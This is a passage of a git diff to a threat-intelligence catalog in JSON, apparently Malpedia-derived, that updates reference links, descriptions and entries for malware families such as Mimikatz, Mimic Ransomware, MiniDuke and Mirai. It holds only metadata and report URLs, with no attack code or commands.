"https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/" + "https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/", + "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/" ], "synonyms": [], "type": [] @@ -31953,9 +33688,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", "https://securelist.com/wildpressure-targets-macos/103072/", - "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/" + "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf" ], "synonyms": [], "type": [] @@ -31964,147 +33699,172 @@ "value": "Milum" }, { - "description": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", + "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz", - "https://www.accenture.com/us-en/blogs/security/ransomware-hades", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://www.welivesecurity.com/2022/09/06/worok-big-picture/", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.hvs-consulting.de/lazarus-report/", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/", - "https://attack.mitre.org/groups/G0011", - "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", - "https://noticeofpleadings.com/nickel/#", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", - "https://attack.mitre.org/groups/G0096", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/", - "https://www.infinitumit.com.tr/apt-35/", - "https://blog.xpnsec.com/exploring-mimikatz-part-1/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf", - "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", - "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", - "https://www.ic3.gov/Media/News/2021/210527.pdf", - "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", - "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", - "https://github.com/gentilkiwi/mimikatz", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", - "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", - "https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf", - "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", - "https://attack.mitre.org/groups/G0034", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/", - "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", - "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", - "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", - "https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html", - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", - "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", - "https://www.varonis.com/blog/hive-ransomware-analysis", - "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", - "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", - "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", - "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", - "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", - "https://www.ic3.gov/Media/News/2021/210823.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://twitter.com/inversecos/status/1456486725664993287", - "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", - "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221", + "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "83ebded5-6ce5-471a-9bfe-db7cca6b3756", + "value": "mim221" + }, + { + "description": "According to PCrisk, Mimic is a ransomware-type program. Malware within this classification is designed to encrypt data and demand ransoms for decryption. Evidence suggests that Mimic is based on the leaked CONTI ransomware builder. Mimic campaigns have been observed targeting English and Russian speaking users.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic", + "https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "40e57c70-c83b-4820-87fd-f684f4960268", + "value": "Mimic Ransomware" + }, + { + "description": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://www.mandiant.com/resources/blog/alphv-ransomware-backup", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://www.infinitumit.com.tr/apt-35/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://www.ic3.gov/Media/News/2021/210823.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", + "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", + "https://www.ic3.gov/Media/News/2021/210527.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/", + "https://attack.mitre.org/groups/G0011", + "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", + "https://asec.ahnlab.com/ko/39682/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf", + "https://attack.mitre.org/groups/G0034", + "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", + "https://www.intrinsec.com/apt27-analysis/", + "https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf", + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://noticeofpleadings.com/nickel/#", + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.varonis.com/blog/hive-ransomware-analysis", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://github.com/gentilkiwi/mimikatz", + "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", + "https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://attack.mitre.org/groups/G0096", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.hvs-consulting.de/lazarus-report/", + "http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", + "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.secureworks.com/research/samsam-ransomware-campaigns", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", + "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", + "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", + "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", + "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", + "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", + "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", + "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", + "https://www.welivesecurity.com/2022/09/06/worok-big-picture/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "588fb91d-59c6-4667-b299-94676d48b17b", "value": "MimiKatz" }, @@ -32126,12 +33886,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge", - "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", + "https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/", "https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures", "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", - "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat", + "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", - "https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/" + "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat" ], "synonyms": [ "GazGolder" @@ -32151,31 +33911,23 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "ea9c7068-1c28-4826-a7d1-7ac04760e5c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a4f8bacf-2076-4e00-863c-874cdd833a41", "value": "MiniASP" }, { - "description": "", + "description": "The MiniDuke toolset consists of multiple downloader and backdoor components", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/", "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://research.checkpoint.com/2022/native-function-and-assembly-code-invocation/", "https://www.fireeye.com/blog/threat-research/2013/02/its-a-kind-of-magic-1.html", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/" + "https://www.secureworks.com/research/threat-profiles/iron-hemlock" ], "synonyms": [], "type": [] @@ -32196,6 +33948,19 @@ "uuid": "01e605b0-aadc-40a3-986f-f0795fd20401", "value": "MiniStealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mintstealer", + "https://twitter.com/ViriBack/status/1610393842787704835" + ], + "synonyms": [], + "type": [] + }, + "uuid": "15c036d3-e1d8-4e4a-850c-20ce65bdd24c", + "value": "MintStealer" + }, { "description": "", "meta": { @@ -32203,8 +33968,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage", "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" ], "synonyms": [], "type": [] @@ -32230,16 +33995,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai", - "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", - "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", - "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/", - "https://assets.virustotal.com/reports/2021trends.pdf", - 